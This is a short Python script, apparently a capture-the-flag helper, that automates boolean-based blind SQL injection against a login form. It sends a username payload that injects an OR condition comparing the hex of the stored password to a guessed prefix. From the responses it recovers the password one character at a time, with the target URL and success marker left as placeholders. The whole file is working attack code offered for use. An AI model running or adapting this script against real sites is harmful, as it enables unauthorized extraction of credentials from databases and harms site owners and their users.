Generic boolean-based blind sql injection solver

generic_bbb_sqli_solve.py

import requests

URL = "..."

def hexify(password: str) -> str:
    realpass = ""

    for i in password:
        if i == "_":
            realpass += "__"
        else:
            realpass += i.encode().hex()

    return realpass

def test(password: str) -> bool:
    r = requests.post(URL, data={
        "username": f'" OR hex(password) LIKE "{hexify(password)}%"; -- -',
        "password": "hej"
    })

    return "..." not in r.text

ALPHA = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$!{}?._"

has = ""
while True:
    for i in ALPHA:
        if test(has + i):
            has += i
            print(has)
            break
    else:
        print("DONE:",has)
        break